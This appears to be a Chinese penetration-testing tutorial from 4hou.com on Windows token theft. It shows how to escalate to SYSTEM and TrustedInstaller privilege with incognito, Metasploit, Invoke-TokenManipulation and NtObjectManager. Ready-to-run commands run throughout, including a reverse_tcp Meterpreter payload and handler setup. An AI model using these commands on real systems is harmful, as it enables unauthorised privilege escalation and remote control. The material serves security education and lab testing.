渗透技巧——Token窃取与利用 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

渗透技巧——Token窃取与利用

3gstudent 内网渗透 2017-12-06 10:33:58
440639
收藏

导语:这一次将要对token窃取和利用做进一步介绍,测试常用工具,分享利用技巧。

0x00 前言

在之前的文章《渗透技巧——程序的降权启动》介绍了使用SelectMyParent降权的方法,本质上是通过token窃取实现的。这一次将要对token窃取和利用做进一步介绍,测试常用工具,分享利用技巧。

0x01 简介

本文将要介绍以下内容;

·Token简介

·Metasploit中的incognito

·Windows平台下的incognito

·Invoke-TokenManipulation.ps1用法

·利用token获得system权限

·利用token获得TrustedInstaller权限

0x02 Token简介

Windows有两种类型的Token:

·Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)

·Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

注:

两种token只在系统重启后清除

具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

实际测试

使用Test\a登录后注销,再使用administrator登录

查看token:

incognito.exe list_tokens -u

能够获取到已注销用户Test\a的token,如下图

1129-6.png

利用该token执行calc.exe:

incognito.exe execute -c "TEST\a" calc.exe

后台显示进程calc.exe的用户名为a,如下图

1129-7.png

0x03 Metasploit中的incognito

在Metasploit中,可使用incognito实现token窃取,常用命令如下:

加载incognito:load incognito

列举token:list_tokens -u

查看当前token:getuid

提示至system权限:getsystem

token窃取:impersonate_token "NT AUTHORITY\\SYSTEM"

从进程窃取:steal_token 1252

返回之前token:rev2self or drop_token

实际测试

Client:

msfpayload -p windows/meterpreter/reverse_tcp LHOST=192.168.81.142 LPORT=44444 X >test.exe

Server:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 44444
set LHOST 192.168.81.142
exploit

执行getsystem获得system权限

pid 1252的权限为当前用户,执行steal_token 1252, 将权限切换到WIN-R7MM90ERBMD\a

如下图

1129-8.png

执行impersonate_token "NT AUTHORITY\\SYSTEM"将权限切换至system

注:

需要加引号和双斜杠,"NT AUTHORITY\\SYSTEM"

执行rev2self返回之前token,为WIN-R7MM90ERBMD\a

如下图

1129-9.png

通过以上演示,成功通过token窃取实现权限切换

0x04 Windows平台下的incognito

Metasploit中的incognito,是从windows平台下的incognito移植过来的,下面介绍一下windows平台下的incognito

下载地址:

https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

参考手册:

http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf

常见用法如下:

列举token:incognito.exe list_tokens -u

复制token:incognito.exe execute [options] <token> <command>

实际测试

列举token:

incognito.exe list_tokens -u

如下图

1129-10.png

提权至system:

incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

如下图

1129-11.png

降权至当前用户:

incognito.exe execute -c "WIN-R7MM90ERBMD\a" cmd.exe

伪造用户:

incognito.exe execute -c "WIN-R7MM90ERBMD\b" cmd.exe

如下图

1129-12.png

0x05 Invoke-TokenManipulation.ps1用法

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

原理和功能同incognito类似,能够实际提权和降权

列举token:Invoke-TokenManipulation -Enumerate

提权至system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

复制进程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500

复制线程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

还有更多用法可参考该脚本说明

实际测试略

0x06 利用token获得TrustedInstaller权限

在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件

因为Windows系统的最高权限为TrustedInstaller

例如路径C:\Windows\servicing

使用system权限无法在该路径创建文件

如下图

1129-13.png

查看文件夹属性,显示system不具有写入权限,只有TrustedInstaller可以

如下图

1129-14.png

关于如何获得TrustedInstaller权限,可参考James Forshaw的这篇文章,很值得学习

https://tyranidslair.blogspot.nl/2017/08/the-art-of-becoming-trustedinstaller.html

这里对其中的一个实例做测试,进而找到其他实现方法

启动TrustedInstaller服务会启动进程TrustedInstaller.exe,位置为C:\Windows\servicing\TrustedInstaller.exe,查看该程序权限:

Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner

显示为NT SERVICE\TrustedInstaller,如下图

1129-15.png

James Forshaw的实现思路为借用TrustedInstaller.exe的token创建子进程,这样子进程就有了TrustedInstaller权限,具体powershell代码如下:

Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p

powershell默认不支持Set-NtTokenPrivilege命令,该模块需要下载安装

下载地址:

https://www.powershellgallery.com/packages/NtObjectManager/1.1.1

安装命令:

Save-Module -Name NtObjectManager -Path c:\test
Install-Module -Name NtObjectManager

注:

Save-Module需要powershell v5.0支持,详情见:

https://docs.microsoft.com/zh-cn/powershell/gallery/readme

因此测试系统选为Win10,默认powershell版本为5.0

导入该模块需要系统允许执行powershell脚本,因此先执行如下代码:

Set-ExecutionPolicy Unrestricted

导入模块NtObjectManager:

Import-Module NtObjectManager

执行命令测试:

sc.exe start TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p

使用whoami查看当前cmd权限:

whoami /groups /fo list

发现当前cmd.exe在TrustedInstaller组里,成功获得TrustedInstaller权限

如下图

1129-16.png

接着按照James Forshaw文章中更新的内容,学习了Vincent Yiu@vysecurity的方法,使用metasploit下的incognito也能够获得TrustedInstaller权限

地址如下:

https://twitter.com/vysecurity/status/899303538630774787

思路如下:

·启动服务TrustedInstaller

·使用incognito获取TrustedInstaller.exe的token

·获得TrustedInstaller权限

使用以下命令:

·load incognito

·getsytem

·ps

·steal_token 3204

·getuid

按照这个思路,猜测使用SelectMyParent和Invoke-TokenManipulation.ps1也能获得TrustedInstaller权限

下面验证我们的判断

1、SelectMyParent

sc start TrustedInstaller
SelectMyParent.exe cmd.exe 1700

新的cmd.exe拥有TrustedInstaller权限

2、Invoke-TokenManipulation.ps1

添加如下代码即可:

sc.exe start TrustedInstaller
$id  = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id

注:

sc这个命令不能直接在powershell里面运行,powershell会把它当作set-content的别名,可使用sc.exe在powershell里面运行sc命令

验证是否获得TrustedInstaller权限的方法

1、对特殊路径写文件

例如C:\Windows\servicing,如下图

1129-17.png

2、使用powershell

Get-Acl -Path C:\Windows\servicingTrustedInstaller.exe |select Owner

回显为NT SERVICE\TrustedInstaller

3、使用whoami

whoami /groups | findstr TrustedInstaller

查看是否有回显

0x07 小结

本文介绍了token窃取的实现方法,使用多种工具来获得system权限和TrustedInstaller权限。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务